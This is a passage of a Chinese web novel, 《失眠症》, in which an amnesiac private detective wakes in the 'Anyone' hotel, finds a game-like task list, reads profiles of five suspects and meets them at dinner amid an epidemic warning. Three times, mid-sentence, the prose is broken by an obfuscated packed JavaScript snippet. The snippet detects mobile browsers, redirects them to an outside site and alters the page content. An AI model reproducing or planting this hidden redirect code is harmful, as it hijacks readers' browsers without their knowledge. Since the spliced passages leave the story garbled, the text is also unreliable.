《失眠症》 1. 全息游戏? 「你终于醒了!^^」 我直觉不好,因为我从头痛欲裂中醒来,每一根脑神经都在尖叫着大事不妙。 一觉醒来就要面对头痛的攻击,这明显不是一个好的开头。 眼睛还没完全睁开,已下意识深深吸进一口气,又干又凉的空气却刮得我鼻腔生疼,还夹杂着一股香味,说不出的好闻。 这空气正是我所熟悉的,一滤过鼻腔顶部的嗅黏膜,我的头颈肌肉便自动放松些许。香薰被空调中吹出的冷气吹散了,融化在房间里——它几乎是酒店房间的专属,想必住惯了酒店的人都能轻松认出来。 但是,不管怎么说,既然已经没了一个美好的开头,那么在大多数情况下,这也不会是美好的一……天? 我盯住天花板,难以置信。 它很干净,很洁白,平整的表面上错落有致地雕出了一些茛苕叶纹,生机勃勃。然而在最易藏污纳垢的褶皱中,却连一丝蛛网和小飞虫的尸体都瞧不见。 在没戴眼镜的情况下,雪白细腻的粉浆质地在我眼中跟近来爆火的干噎酸奶似乎也没什么两样,负责打扫的人一定十分兢兢业业—— 或者说,本来应该是这样的。 在我没发现那行血红色的字之前。 怎么会有人把字写在这么高的地方?是恶作剧吗? 坦白说,我不觉得自己作为一个年轻人,会与热爱在网上冲浪的同龄人背道而驰。但我左看右看,还是没能搞懂跟在感叹号后面的“^^”究竟是什么意思。 更糟糕的是,在一波接一波地震般袭来的头痛中,我发现大脑中关于自己身份的记忆似乎荡然无存。 换句话说,我现在根本不知道自己是谁,又为什么会出现在这里—— 铺着厚厚被褥的温莎床,一根根笼杆似的床头,昏黄的床头灯,木质竖纹墙纸,猩红色窗帘和地毯,以及窗外伸手不见五指的浓雾……一切都散发着令人不快的不祥气息。 我当然希望这只是我的错觉。 翻身下床,我从房间角落的那扇门中走出去——或许将其称为“门”并不十分妥当,因为那根本只是个门框而已。 外头是看上去像起居室的房间,两把米黄色的单人皮质沙发包夹着一张一寸见方的独脚茶几,正前方是一面32英寸的壁挂电视,不远处的角落里,甚至还有一只通体纯黑的保险柜,就是模样有些奇怪,没有密码转盘。 啊,我懂了:这里应该是一间酒店的套房,虽然面积不大,但看起来还挺不错呢。 既然是酒店客房,那么浴室里一定会有镜子。 不出所料,盥洗台上整整齐齐码着几件一次性洗漱用品,包装袋上就印着"AnyoneHotel"的字样。 第一个单词是什么意思?某人?任何人?随便哪个人? 我无暇多想,只是匆匆扫了它们一眼,就向镜子里望去—— 凌乱的黑色短发,毫无血色的苍白皮肤,凹陷成两个浅坑的双颊,以及眼头下方略显浓重的阴影……这些都把我结结实实吓了一大跳。 唯一的亮色竟是干裂起皮的嘴唇,嫣红得仿佛马上就要渗出血来。再加上冷冷的下三白,使她看上去几乎是不近人情地瞪着我。 平心而论,镜子里的女人着实漂亮,但她人不人鬼不鬼的憔悴脸色也同样惊人就是了。 我偏了偏脸,发尾在颈侧勾起一道堪称俏皮的弧度。镜中颧骨旁边有什么东西在乌发间一闪而过,于是我抬起手,将短发撩到耳后——露出了一枚闪闪发光的钻石耳钉。 另一边也有,分明小小一颗,却极具存在感地缀在耳垂上。我凑近了细看,发现这两只耳钉斜上方的耳垂肉上,还各自藏着一个耳洞…… 什么啊,四个耳洞? 难道我失忆之前是个非主流? 或者用更学术、更正式一点的说法——亚文化爱好者? 我不想在此时去深究这种鸡毛蒜皮的小事,甩甩头,将其抛之脑后。 再往下,是黑色的工装背心,以及同样是黑色的工装裤,这样的打扮堪称帅气利落,与这头我不知该如何描述的短发造型极为相称。 但除却大致了解了自己的长相,我没有获得任何有助于我知悉自己身份的有效信息…… 慢着,这里是酒店没错吧?开房的话,想必一定会用到身份证!再不济,也该携带护照一类的有效证件。 我很高兴自己在失忆之余,还没将这些基本的社会常识忘得一干二净。在连绵不断的头痛侵扰下仍能及时抓住关键信息,看来我没失忆时,一定才智过人。 找来找去,总算在内间的书桌上找到一部笔记本电脑、一张身份证,以及一大摞一大摞的书——明明这张书桌离床仅有几步之遥,我却径直忽略掉了这么一大堆东西,大老远先跑去浴室,真是个呆瓜。 身份证上果然有几行信息,证件照与刚才在镜子里见过的那张脸基本一致,可以确定是我本人没错。 文字部分,则用汉字写着: 「姓名:盛夏 性别:女 出生:3002年10月10日」 像撕掉屏幕贴膜一样,我用拇指指甲在卡片侧面使劲抠了两下,未果,看来可以排除贴牌的可能性。 但这究竟是不是一张假证,现在还得画个问号。 打开笔记本电脑,荧蓝色的屏幕上显示我需要输入PIN码才能解锁。我不假思索,输入“30021010”——本来已经做好了多试几次的准备,但竟然一次就通过了,真是出人意料。 说这密码简单吧,但它怎么着也算不重复的八位数字;说这密码复杂吧,它又跟我的生日日期一字不差。总给我一种既缜密又粗糙的自相矛盾感。 然而更奇怪的事情还在后面。 壁纸是系统默认的蓝色绸花,桌面空空如也,一个文件的影子也找不见。 我尝试着取消隐藏桌面文件,未果。仿佛这部电脑生出了自我意识,成心不想让人看,早将所有应用程序和文件一口气全删了个精光。 最后我掘地三尺,才终于在邮件垃圾箱里找到一封没删干净的蛛丝马迹,呼,差点没把我累个半死。 内容如下: 「收件人:S MissDetective,这次终于让我抓到那对贱人的马脚了!我的丈夫会在1月21日假借出差的名义,前往G市一家名为Anyone的酒店,与他的情人幽会!届时您一定要帮帮我! 机票和酒店房间已为您备好。事成之后,等我打赢离婚官司,您要多少钱我都付得起。 发件人:W」 这下就真相大白了——原来我是个追查婚外情的私家侦探啊。 挣钱嘛,不寒碜。我颇有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609661|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些苦中作乐地安慰自己:没有接过婚外情调查委托的侦探不是好侦探。 不过这回总算弄明白自己为什么会出现在这里了。 如释重负般,我慢慢吐出一口憋在肺中许久的浊气,一屁股坐在床沿,弹了弹,把自己往软得能吞人的床上一摔—— 视线上移的一刹那,我再次感到自己的眼周皮肤被绷出紧紧的压力。 不知何时,天花板上那行瘆人的字已消失不见,取而代之的是一份类似于ToDoList的任务清单。它完全视凹凸不平的花纹为无物,用黑色的汉字写得清清楚楚: 「1.认识你自己!(已完成) 2.在五人中找出目标和委托人 3.取证后,将证据交给委托人 4.成功存活到第七天 5.成功逃离」 看不出来,任务发布者的哲学学得还不错啊?连“认识你自己”这么经典的德尔斐神庙箴言都用上了。 第一项任务,应该是要我在失忆的状态下推理出自己的身份——换言之,如果始终完不成任务1,那么天花板上的任务列表也永远不会被唤醒了。 而电脑密码之所以设置得如此简单,也就得到了解释:为了防止玩家太笨,迟迟找不到线索,自己把自己困死的情况,幕后之人特意将任务1设置成了送分题。 所以这是一款RPG全息游戏? 而我要扮演的角色就是追查婚外情的私家侦探? 这一切的一切都是游戏设计?包括我的失忆? 现在的科技水平这么发达了么?我低头端详自己的双手——瞧这细腻的皮肤纹理、逼真的物理效果,如果不是天花板上那五行基本不可能靠人力写上的字,真实程度跟地球Online也没什么差别。 果真如此的话,那等我一出游戏就要给制作人发邮件,吐槽这款游戏绝对存在极大的安全隐患:失忆真的让人很没安全感。 以我浅薄的游戏经验来看,完成这种身份认证类型的任务以后,我就会恢复该有的记忆。然而我静静躺在床上等了大半天,才终于确定自己没有半分要忆起前尘往事的迹象。 不过在此期间,我将这份任务列表又仔细阅读了一遍,果然发现一处令我感到十分违和的地方: 若说前三项还合理,那么最后两项任务,怎么看都和调查婚外情风马牛不相及吧? 不像推理游戏该有的布置,倒像大逃杀之类的要素。 要抓住镜花水月般的存在是不现实的。于是我抑制住钻牛角尖的冲动,将注意力集中放到任务2上——毕竟乍一看,它所透露的信息量是最多的。 就像学生做题要先读懂题干一样,我试图弄明白任务中提及的“五人”都是谁。 “委托人”不难理解,应该就是给我发邮件的W;“目标”则是她的丈夫,可能也包括了那位情人。 这么算下来,就有三个人了。 那么另外的两个人呢?只是游戏用来混淆视听的幌子吗? 我满腹疑惑。 然而要不了五分钟,这份疑惑就得到了解答。 我在邮箱的云储存功能中发现了一份资料——在一些其它邮箱应用中,这项功能也被称为“中转站”。 出于对时效性的考虑,某些人有用邮箱存档重要文件的习惯,显然失忆之前的那个“我”也是这么做的。 2. 感染征兆 资料内容如下: 「NO.1 姓名:DaisyGreen(黛西·格林) 年龄:20岁 职业:学生 房间:403」 在这几行字的右边,仿照着求职简历格式般贴着一张照片,但并非严肃板正的证件照:画面中的女孩一头金色长发扎成双马尾,朝镜头笑得几乎见牙不见眼,漏出来的湛蓝瞳仁闪闪发亮,还很活泼地比了个剪刀手。 我相信没有人面对这样的笑容、面对这股横冲直撞的青春气息,还能负隅顽抗,嘴硬说她一点儿也不可爱不漂亮。 不过她的打扮,怎么说呢,比我现在这身,更像一个合格的亚文化爱好者——黑色大头厚底靴,及膝堆堆袜套,层层叠叠的红色菱格蓬蓬裙,以及中世纪风格的上衣和腰封。 除此之外,她还在脸上打了好几个钉子,最亮眼的当属右耳窝里那颗闪亮的大钻,以及嘴唇左下角的一颗球形唇钉。 非常特立独行的一身穿搭,相当适合她。 「NO.2 姓名:WalkerCollins(沃克·柯林斯) 年龄:45岁 职业:工程师 房间:405」 我坦白讲,这人很帅,眉眼深邃,轮廓利落,如同古希腊雕塑一般。一身板正的黑西装极衬气质,皮鞋锃亮,宽肩窄腰,像个男模。尤其头发用发胶抓成一丝不苟的大背头,人到中年也看不出STEM普遍会面临的秃头危机。 他的照片不止一张,还有几张穿着别的衣服拍的,诸如睡袍、潜水服、无袖背心……甚至还有没穿的,可惜只是背面。但即便如此,那饱满的背肌也活像能扑出来拍我脸似的——老天!我的委托人可真够神通广大的。 「NO.3 姓名:ElizabethScott(伊丽莎白·斯科特) 年龄:74岁 职业:大学教授 房间:402」 一个满头银发的老太太,但头发梳得一丝不苟,用丝带挽成了低调又不失精致的法式低盘发造型。官绿色的长袖旗袍似乎用熨斗仔细烫过,一条褶皱也无,更加凸显出白种人肤色那种沉重而不透明的白。 照片里的她放松地坐在藤椅里,一手执笔,正在给学生答疑解难,慈眉善目,笑容和蔼,眼瞳是极美极剔透的琥珀色。要么说岁月从不败美人呢,不知怎的,光是看着这一幕我就觉得很幸福。 「NO.4 姓名:MollySwift(莫莉·斯威夫特) 年龄:33岁 职业:会计师 房间:406」 非常干练的职业女性,低马尾,眉框眼镜,白衬衫,嘴唇紧抿成一条线,一副很严肃的样子。眼睛倒非常迷人,是很清澈的橄榄绿色。 这张照片像是在某次会议上偷拍来的,她身前的桌上还摆放着名牌,上印"MollySwift"的字样——当然,这份资料里的哪张照片不是偷拍来的呢? 「NO.5 姓名:WrightLee(莱特·李) 年龄:28岁 职业:造型师 房间:401」 打扮得也很fashion的男……孩,一头蓬松的深亚麻色短发,全包眼线,涂着口黑,妆容精致,耳际还挂着两个超大号的素圈银环,几乎触及肩膀;身上穿着豹纹外套,下半身是黑色紧身皮裤,以及一双火龙果色的高跟鞋。 在这几张照片里,他非常专业地摆了好几个pose——就连美甲都是推了死皮掏了口袋才上的涂层,这使我不由肃然起敬。如果他把自身当作成品展示板的话,那么当我需要一个造型师时,我想我会考虑雇用他的。 这份文件的最后一页是一张手绘的本层平面图,北面是406和401,东面是餐厅和402,南面是403和404,西面是洗衣房和405。我照着房间门后贴着的逃生路线指示图比对了一下,暂时没发现差误。 仅仅五页纸的文档,我翻来覆去细读了几次,也没有找到其它有效信息。这份资料未免太过潦草,不过总归聊胜于无——任务2中提到的那五个人,应该全在这里了。 现在除非把这部电脑拆开,否则无法从它身上获取更多的线索了。 我站起来,伸了个懒腰,感觉满身疲惫都随着这个哈欠呼出体外了。 房间里还会有其它的发现吗? 衣柜最下面一格有两只小塑料箱,其一是白色的,上面画着红十字,应该是医药箱;另一只是军绿色的,盖子上有扳手形状的阴刻。 我打开一瞧——原来是工具箱。 现在就剩起居室的壁挂电视没检查过了。我摸索着找到背后的开机键,稍微使了点劲按下。 “现在插播一条来自疾病预防控制中心的紧急通知。” 身着白色套装的主持人面带微笑,口条清晰地开始播报,齿若编贝。 “近日,一种不明传染病正在我市传播,感染征兆主要表现为头痛、失眠和神志不清,以及眼球通红、布满血丝,更有甚者还出现了精神失常的情况,除此之外可能伴随其它暂未被发现的并发症。病症发作时,患者呈——” 砰! 我被突如其来的变故狠狠吓了一跳——画面里,坐在演播台后的主持人突然一块接一块地扭曲变形,碎成各种红的绿的蓝的色块,原本清晰的吐字也变为刺耳无比的嗞哇乱叫,仿佛数十个麦克风同时炸开了锅。 道道嗡鸣声刺得我甚至从来没有一刻如此鲜明地感受到自己耳膜的存在,太阳穴鼓胀着突突跳动,头颅深处的脑仁痛得愈发厉害了。 我捂着耳朵,赶紧上去拍了拍电视,试图扼杀头痛的催化剂——虽然我不会修电视,但有句话说得好,大力出奇迹嘛。 嘿,没想到还真挺管用。只可惜主持人已经接着往下说了,并没有因为我的电视突发故障这一小小插曲而停下来等待。 “我们呼吁广大市民尽量待在家中,不要外出。勤洗手,多睡觉,保持冷静平和的良好心态,等待下一步指示。 “接下来播放一条最新消息。近日,在多方的不懈努力下,3023年于太平洋海域失事的云航YH320的黑匣子,终于被成功寻获……” 脑中一阵轰鸣,我难以忍受地挤压着太阳穴。不等听完这则新闻,便啪地关掉了电视。 现在就连说话声也令我感到心烦意乱。 真可惜,漏听了几句话。 不过,刚才那主持人提到的几条感染征兆中,就有“头痛”这一项吧? 这可真难办。 但也不能这么果断吧?头痛的原因多种多样,有人熬夜就会头痛,有人不睡午觉会头痛,有人喝了咖啡会头痛,有人被太阳晒也会头痛——我怎么能仅凭头痛这一点,就断定自己患上了这种传染病呢? 拜托,别再自己吓自己了。 “咕噜噜……” 好饿……要不是我的胃终于忍无可忍发出了抗议,在极度紧张的状况下,我一时半刻还真忘了要进食。 但这难道完全是我的责任吗?实则不然。 房间虽大,然而一眼扫过去,竟连半点吃的都没有…… 等等。 我朝角落走过去,右手握住把手,用力向外一拉—— 刚才我就觉得哪里不对劲……啊,有水果!还有饼干和瓶装水! 果然,我就说嘛,本来该嵌密码转盘的地方竟然是把手,谁家保险柜长这副尊容?换成冰箱就合理多了嘛。 人是铁饭是钢,这话很有道理,没有及时补充糖分,也难怪脑子会锈住。我掰了根香蕉,三下五除二剥了皮,几口下肚。 在一阵必要的咀嚼和吞咽过后,得到糖分的大脑总算缓慢开机,重新转动起来。刚才在搜查中被我忽略掉的一些细节也就渐渐浮出了水面…… 比如,“我”明明是来出差的(姑且就算作是出差好了),却没带任何一件换洗衣物,睡衣内裤外套袜子通通没有,反而只有一箱子的书,这显然非常不合理。 难不成“我”为自己杜撰的身份是一位爱书如命的学者?或是一位书籍经销商?但这也不妨碍带几件换洗衣物啊!几件衣服再重还能重过那满满一箱子的书吗?! 而且身为侦探竟然没带相机,这让我拿什么东西记录证据啊?总不能现场速写罢?这样恐怕会被委托人扣工资的吧! 如果我是委托人,肯定不会雇佣这么一位连办公用具都忘带的粗线条侦探。 再比如,我要上哪儿去“偶遇”这五个嫌疑人?总不能挨个敲房门把人叫出来认识一番罢?那样做的话也太傻了……而且还会起到打草惊蛇的反作用。 当然了,这只是我开个玩笑罢了。 毫不费力就完成了任务1,相信后面的任务再难也不会难到哪里去。我心态很轻松,想必游戏制作者肯定已经为玩家创造了机会和场所,只是我现在还没发现而已。 只吃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609662|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根香蕉根本不顶饿,况且刚从冰箱里取出来的食物太寒凉,我担心自己脆弱的肠胃受不住。不管怎样,现在正经吃一顿正餐才是首选。 酒店里应该会有餐厅供餐。虽然外出很危险,但只在酒店内部活动,想来没问题吧? 保险起见,还是问问好了。 我在床头柜上的一本酒店指南中找到了前台的电话号码,便用正好摆放在一旁的座机打过去。 "Goodafternoon,AnyoneHotelfrontdesk.HowmayIassistyou?(下午好,这里是Anyone酒店的前台,请问有什么需要帮您?)" 连炮珠似的一串,显然这台词早已熟稔于心了,甚至完全不需要动脑,一拿起话筒就自动触发对话。虽然接电话的人竭力维持着甜美的声线,但仍然掩饰不住疲惫,嗓音沙哑,仿佛正含着刀片在说话。 幸好我外语还算不错。不知为何,我下意识觉得自己应该抓紧时间开口:"AreyouOK?I''mcallingtoaskifthehotelhasaChineserestaurant.Isthesituationoutsideokay?(你还好吧?我打电话来是想问问酒店有没有中餐厅。外面的情况还好吗?)" “哦、哦,多谢您的关心,我暂时没事。外面非——常危险,到处都是……那种东西,您千万不要出去,最好连楼都不要下。您所在的四楼应该还是安全的,至于其它楼层,我就不敢保证了。” 坦白说,这番话反而勾起了我强烈的好奇心——“那种东西”?是什么东西? 然而不等我再发问,对面已经自顾自说下去了。 “我们每层楼都有餐厅和洗衣房,设施非常齐全。每天早上八点、中午十二点和晚上六点都会有人送餐上去,应该足够您坚持一段时间的了。就是这样,祝您一切安好——” “喂?喂、喂!别挂别挂!” “嘟嘟嘟……” 可惜为时已晚,任凭我如何大呼小叫,对面仍然不留情面,干脆利落地把电话挂断了。那架势,活像背后正有一百只可怕的“那种东西”追着,迫使她不得不赶紧放下话筒。 只是,她的话使我陷入了更深的沉思。 如果外面更加危险的话,“成功逃离”的意义何在?难不成要把酒店外面的危险因素也清除了才行? 那“祝您一切安好”的潜台词,不就是“自求多福”吗?! 最后那句话既像祝福又像诅咒,魔咒一般萦绕在我的心头,迟迟挥之不去。我毫无头绪地在原地站了片刻,思来想去,还是决定先解决最要紧的温饱问题。 披上一件黑色冲锋衣外套(真令人窘迫,因为这是我能找到的唯一一件外套,而且还没有任何标签——我本想从标签上搜刮一些信息,但这盘算胎死腹中了),拿上玄关处的房卡,我关上房门,蹑手蹑脚地走了出去。 然而没过多久,我就发现这样做实在太傻——走廊里铺着一层吸音用的驼色地毯,软软的,很厚实,正常行走在上面根本发不出什么脚步声。 这样的举动完全是出自本能,等我回过神来,自己已经走出去好一段路了。 天花板的高度充裕,并不会让人感到压迫。如果层高在三米左右的话……我抬手比了比从头顶到天花板之间的距离。 那我的身高大约为一米六八。 几分钟前,甫一踏出房门,一股略淡于房间内的干燥暖香便扑面而来—— 柑橘?柠檬?百香果?我细细嗅闻着,却只能辨认出是清甜果香,仍说不好那究竟是什么味道。这些香薰香氛都有什么前调中调后调之类的,我对它的认知也仅仅止步于此。 总之蛮好闻的就是了。再搭配头上圆形的暖黄色顶灯,以及身侧柔和的米白色墙壁,给人以家一般的温馨感觉,这大概就是旅馆业“宾至如归”经营理念的具体体现吧。 走廊里没有指示牌,而我已经把刚才看过的楼层平面图忘了个精光。 多大点事,一通乱走就是了,这地方就屁大点,再迷路又能迷到哪里去? 反正我是懒得再走回头路了。 抱着这样的想法,我出了房间后,漫无目的地向右手边一直走。先是路过了403房,随后左拐,又途径了402房,写着"Restaurant"字样的门口便猝然跳入眼帘。 运气真好,竟然一下子就找到了餐厅。 我一边想,一边推门入内。 3. Who is W? "Heyheyhey,anotherlovelygirl!(嘿嘿嘿,另一个可爱的女孩!)" 一推开门,那股食物特有的馨香将我吸了个正着—eon,这是何等幸福之事! 这香气简直跟ABO世界里的信息素一样,瞬间就能抚平我的所有焦躁。 只不过我的焦躁并非来源于蠢蠢欲动的繁衍本能,而是源自于饥肠辘辘。 可想而知,在饿得能吃下一头牛的情况下,不仅不能马上去吃饭,而且还不得不听先听一耳朵蹩脚搭讪,我有多想扇他巴掌。 哦对了,还有那极力表现轻佻的口哨声——嘿,不会吹就别出来献丑!我吹得都比你好! 乍一听,像那种毛头小子,明明讨人厌得很,却自我感觉良好地把自己当成太阳,水金地火木土天海全要围着他转。 再说难听点就是油。说实话,我有时候真佩服男人们的厚脸——啊不,自信心。 我循声望去——一个油头粉面的浓妆男人坐在长餐桌旁,脑袋一偏,越过花瓶,故作俏皮地,朝这边抛了个媚眼—— 好像眼皮子抽筋了。 我自认平时极少以貌取人,但偶尔也会有特殊情况,比如当下——接收到这一眼后我瞬间恶心得跟吞了一百只苍蝇一样。然而吞苍蝇到底要比这强上许多,起码还能吐出来,此刻我却只能忍下翻白眼的冲动,礼貌地朝他笑笑,"Thankyou.YOUTOO.(谢谢,你也是。)" 不能生气、不能骂人,线索还没收集,我还不知道谁才是W和目标! 这男的长得真像《无人生还》里那个令人生厌的安东尼·马斯顿,自以为很有魅力吗?好想给他一拳。我将收回可以雇用他做造型师那句话,不然显得我品味很差。 另:打个补丁,扮演安东尼·马斯顿的演员不丑,甚至可以说长得很方正,偏偏在剧中就是显得油头粉面,可能是被角色腌入味了。 回归正题。至于为什么是another……我环视四周,一眼就瞧见了真正该被称为lovely的那个人: 一头灿金色秀发无光自亮,梳成两条油光水滑的粗麻花辫,很端庄地搭在胸前。 头顶斜斜别着一顶黑纱小礼帽,面网上爬着一条银白色的蛇,约有食指和拇指两个指头平行着伸直了那样宽,游在金波中,明灭可见,亮时像她脸上一道未干的泪痕,暗时则像一条陈年旧疤。 衣裙和其余配饰也是一水的黑色,天鹅颈上戴着一条蕾丝choker,身上一袭哥特风Lolita蓬蓬裙。 做这条裙子的裁缝肯定有做厨师的经验,不然如何懂得将蕾丝、蝴蝶结与十字架等众多华丽的元素巧妙地结合在一起?简直是在把裙子当成一块黑森林蛋糕来装裱,繁复而不累赘,参差有序—— 正面看,蕾丝构建成花卉藤蔓铺于裙面,蝴蝶结则折成了真正的蝴蝶样子穿梭其间;侧面看,蕾丝又裁成了细条流苏,末端坠着一颗颗银色小十字架,行走间摆摆荡荡,灵动感十足。整体既有变化又不显杂乱。 园林艺术上有“五步一画、十步一景”一说,我看这条裙子不就能当教科书吗? 其细节之丰富,也许某天将这条裙子塞进洗衣机之前,还能从某个褶皱中翻出来一百块钱。 她脖子上系着的那条黑色蕾丝,扎成了一朵花的样式,斜斜歪在颈侧。鱼骨腰封恰到好处地勾勒出纤细的腰身,几乎及膝的长筒靴侧也镶嵌着十字架形的宝石。 我知道这样的靴子一般都会有厚底,穿上能给人增高不少,但这姑娘肯定本身就很高挑——从我的角度远远望过去,她那顶精致小礼帽上的绢花都快碰着葡萄般串串垂下的水晶吊灯了。 就餐采用自助形式。她正在用巨大的甜点夹将许多块——呃,五块,小蛋糕放到自己的盘子上,洁白绵密的奶油上缀着一颗颗殷红的草莓,鲜艳欲滴,看得人食指大动。 噢,我也想尝尝这些小蛋糕。 做完这一切,她放下手中的甜点夹,四下张望片刻,似乎盘算着再取些什么才坐下开吃。 然后,她突然将脸转向我—— 猝不及防地,上一秒还滴溜溜转动的乌黑虹膜和亮红瞳孔,几乎在一瞬间被按下了暂停键。 玫瑰花瓣般甜蜜湿润的嘴唇微微张开,露出一点珍珠似的贝齿。眼睛睁到最大,怪异的瞳仁完完全全露出来,置于眼白中央。 她一脸错愕地望着我,眼神中写满不可置信。 这眼神令我有些摸不着头脑,难道我们以前见过吗? 见着真人正脸了,莱特口中的"lovely"还真没说错——即使把世界上最嘴硬的人叫来,与她面对面站着,恐怕也无法违心去否认她的美貌。 尽管她脸上化着浓浓的烟熏妆,长长的斜刘海将右眼遮挡得严严实实,叫人无法看清全貌。 对了,她是戴着美瞳吗?怪有意思的。 我饶有兴致地观察着她空白的表情,并为她这副怔愣的样子感到由衷好笑。 这种呆傻的孩子,长得都一样。 一、二、三、四、五、六……不对啊,这到底是看见什么了?就像恐龙爱好者突然亲眼目睹活生生的史前巨龙,既震惊又深情的,总不能是灵魂出窍了吧? 我长得也没有那么惊世骇俗吧? 我本来还想数数看她到底要发愣多久,才数了几个数,就忽然觉出不对来。 扭头一看,霎时福至心灵—— 皮鞋油亮,长腿迈开,挺拔颀长,一个艾丹·特纳式的帅哥信步而来,大背头,眉毛粗重,眼窝深邃,迷人的琥珀色瞳孔,卧蚕恰到好处,嘴唇薄,腮边留着未刮净的胡茬,桦木般笔挺高耸的鼻梁为他本就不俗的容貌又增色不少。 他信手解开腰间的纽扣,颇为随意地在领面上一掀,那件剪裁合度的外套就自动从他宽阔的肩膀上褪了下来,露出内里平整干净的白衬衫,蜂腰猿臂,标准倒三角身材,饱满的胸大肌在薄薄的布料下呼之欲出。 难怪黛西会看直了眼。 但是—— “e!好浓密的胸毛!” 都从领口溢出来了! 还好他进来后便径直去餐桌那头取餐盘了,轻盈的薰衣草香气与我错身而过——这么远,想必没有听见我的小声嘀咕。 我饿得不行,也想去拿些吃的,一转头,却发现自己离黛西竟只有几步之遥! 刚才被胸毛吓晕了,奇怪,我有走了这么远吗? 灯光投下,她的影子像座小山一样覆住我,洗涤剂的香味一个劲往鼻子里钻,胸口那捧花都快碰到我鼻尖了——那我刚才悄悄吐槽胸毛,岂不是全被她听去了?! 这一刻我真想找条地缝钻进去。 然而,她仅仅是扬了扬眉,唇角微翘,一副了然于胸的模样,揶揄之色溢于言表,似乎笃定我对这位新登场的NPC一见钟情了…… 拜托,不懂中文就别自以为是好吗?我怎么可能会crush没做好体毛管理的人! 再说了,盯帅哥盯得入神的人是她,可不是我,这眼神到底什么意思?! 我饿得前胸贴后背,懒得再搭理她,连忙也去取了餐盘,给自己夹了些热气腾腾的烤牛肉,又倒上满满一大杯香醇的牛奶。 我真是辛苦了,不能亏待自己。 这些牛肉切片的芯子还红彤彤的,应该有六七分熟,外焦里嫩。吞咽时,汁水伴随着经牙齿充分咀嚼过的碎肉滑过喉道落入胃袋中,腹中渐渐充实起来的满足感便溢上心头,真叫人身心愉悦。 等我狼吞虎咽地消灭了盘子里约三分之二的烤牛肉后,五位嫌疑人中的最后一位才姗姗来迟。 至于那位伊丽莎白奶奶,早就用餐完毕,坐在角落里一边享用餐后红茶,一边透过两片擦得泛起细细白纹的老花镜片,以她那尚未完全浑浊的犀利双眼,默不作声地审视着在场所有人。 我就有幸被这股令人不快的目光光顾过几次——也许是我的吃相跟饿死鬼有得一拼的缘故。然而我太饿了,根本腾不出空闲回她一个白眼,况且那么做也有悖于我们中国人尊老爱幼的传统美德,所以只能先作罢。 压轴登场的是一位法兰西风情十足的美人,眉眼间有六七分肖似莫妮卡·贝鲁奇,漂亮得真让人没话说,满心只余赞叹。 与照片里见过的职场造型不同,她今日没带框架眼镜,也没扎低马尾,浓密的棕色卷发如同海藻,团团簇拥着仿若精心雕刻出的美丽脸庞。脚下踩着细带高跟鞋,涂着宝石蓝指甲油,还吸了猫眼,一颗颗玻璃珠似的,滚亮滚亮,哒哒哒,鞋跟清脆,摇曳生姿,一步步踏在人心坎上。 那身复古油画风的收腰翻领连衣裙,更是将她衬托得如一朵肆意盛放的大丽花。真不敢想象,如果是我穿上这条裙子,那场面会有多糟糕——摆在莫莉旁边一瞧,恐怕销量都会创下历史新低。 等等,这好像不是什么油画……我又偷眼一瞥,发现那其实是一幅热辣奔放的美式画报—— 阳光下,数十位身着比基尼的金发女郎舒展着身体,姿态各异,大方自如。蓝绿底色上,鸡蛋花枝叶和汽车交织掩映。热带氛围之浓郁,仿佛一秒便飞到了夏威夷,正呼哧呼哧踩在烫脚的沙滩上。 老实说这条裙子的配色其实挺诡异的,看清图案后我顿时感觉也不过如此——但为什么莫莉一穿就这么慵懒随性呢? 饿归饿,可我在进餐之余,也没忘了自己身为私家侦探的职责,警惕地用余光关注四周。 正因如此,我才没错过她那个微不可察的动作。 莫莉进入餐厅后,原本只是随意一扫,美眸一凝,流转的目光却猛然停在西北角,而后微微颔首,似乎在跟什么人打招呼。 这里有她相熟的人? 我精神一振,立刻扭头,装作打算去取新菜,还特地选了偏西北方向一侧起身,方便第一时间观察情况。 然而结果却令我大失所望。 作为餐厅内六人中唯二的男性,莱特和沃克不可避免地坐得更靠近些:莱特此时正埋头苦吃,一手拿着餐叉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609663|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷吧卷吧,叉起一大坨意大利面送入黑洞洞的嘴里,腮帮子一鼓一鼓,咀嚼得起劲;一手拿着掰小了的蒜香面包,在咀嚼的缝隙趁机塞进满口面渣子间,吃得很是忙碌,好像正在用前爪搬运食物的工蚁。 而沃克正拈着高脚玻璃杯轻轻摇晃,醒完酒后,啜饮一口,须臾喉结一滚,垂下睫毛,神情莫测,但明显一副正在专心品尝的样子——好装,这是可以说的吗? 这又是怎么回事? 难道都不是他们? 我又左右看了看,伊丽莎白坐得倒是离他们只有几步远,莫莉打招呼的对象的确也有可能是她。只可惜我已经错过了第一时间去观察她的机会,自然也就不得而知了。 